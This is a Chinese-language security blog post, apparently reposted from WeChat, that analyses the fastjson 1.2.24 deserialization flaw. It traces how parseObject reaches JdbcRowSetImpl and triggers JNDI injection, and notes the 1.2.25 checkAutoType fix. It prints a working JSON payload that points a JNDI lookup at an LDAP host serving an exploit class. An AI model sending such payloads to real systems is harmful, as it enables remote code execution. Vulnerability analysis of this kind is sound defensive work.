这里就主要分析一下fastjson 1.2.24版本通过parseObject来完成的反序列化漏洞,利用方法是通过JNDI注入的方式实现RCE,由于高版本的jdk对ldap和rmi有限制,故本地使用jdk1.8.65验证。
fastjson是一个非常流行的库,它可以将数据在JSON和Java Object之间互相转换,我们常说的fastjson序列化就是将java对象转化为json字符串,而反序列化就是将json字符串转化为java对象。
而本文最终达到的效果是执行打开计算器的命令:
fastjson反序列化漏洞产生的原因
主要是因为fastjon通过parseObject/parse将传入的字符串反序列化为Java对象时没有进行合理检查而导致执行了能够执行恶意命令的get/set方法。
序列化
User中包含三个内部变量:
然后通过JSON.toJSONString去输出序列化后的内容为:
{"@type":"org.example.User","age":19,"name":"test","sex":true}
在这里通过SerializerFeature.WriteClassName就能生成一个带有@type参数的Json数据,便于后续的fastjson攻击,因为fastjson利用的时候要添加一个@type参数。
反序列化
parseObject进行反序列化时会自动执行@type指定类的get和set方法,并且转换为@type指定的类。
经过分析,就发现了com.sun.rowset.JdbcRowSetImpl这个类可以被利用,主要用到的方法是setDataSourceName()和setAutoCommit()这两个方法。
漏洞利用分析
Payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}
因json中指定了@type参数,故fastjson会尝试将该字符串反序列化为JdbcRowSetImpl类对象,并调用类中的set方法对dataSourceName和autoCommit属性进行赋值。
fastjson进行反序列化时,如果类中存在无参构造函数,则直接调用无参构造函数进行初始化类。若不存在无参构造函数,则会寻找参数最多的构造函数进行初始化类。
由于conn设置为null,所以setAutoCommit方法会进入else中,即调用 this.conn = this.connect();
在connect()中可以看到会调用JNDI的lookup函数,并且参数值为我们反序列化时传入的dataSourceName属性,dataSourceName传入值为ldap://localhost:9999/Exploit,所以最终会成功执行到我们编写的Exploit类。
0x03 Fastjson反序列化过程
进入parseObject之后进入parse方法,parse方法才是最终的反序列化方法:
在parse方法中初始化了一个DefaultJSONParser的类:
在DefaultJSONParser又初始化一个JSONScanner类,会将初始化后的放到对象lexer中,并将ch设置为‘{’,token设置为JSONTOKEN.LBRACE即12:
再次调用DefaultJSONParser的构造函数进行初始化操作,对相应的变量进行赋值,最终将初始化后的放入到parser对象中:
调用parser的parse()方法:
会再次调用parse(Object fieldName)方法,在这里面根据上一步中设置的token进行选择,当token为12是会进入parseObject(object, fieldName)方法中:
在parseObject(object, fieldName)中通过 scanSymbol 获取到 “@type”
再获取到payload中@type的值为"com.sun.rowset.JdbcRowSetImpl",并通过loadClass加载
随后会获取到JavaBeanDeserializer对象,进入JavaBeanDeserializer的deserialze方法:
在deserialze方法会调用parseField(parser, key, object, type, fieldValues)方法:
最终会调用到FieldDeserializer的setValue(object, value)方法:
在setValue中,根据我们传入的payload中的autoCommit字段选择JdbcRowSetImpl.setAutoCommit方法:
最终完成调用的操作:
调用了JdbcRowSetImpl的setAutoCommit方法:
最终造成了jndi注入:
0x04 漏洞修复
fastjson在1.2.25开始的版本中新增 public Class<?> checkAutoType(String typeName, Class<?> expectClass) 方法,denyList数组中的类均无法进行反序列化。但仍然存在绕过checkAutoType方法的途径。
END
原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | fastjson反序列化漏洞初探之parseObject
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论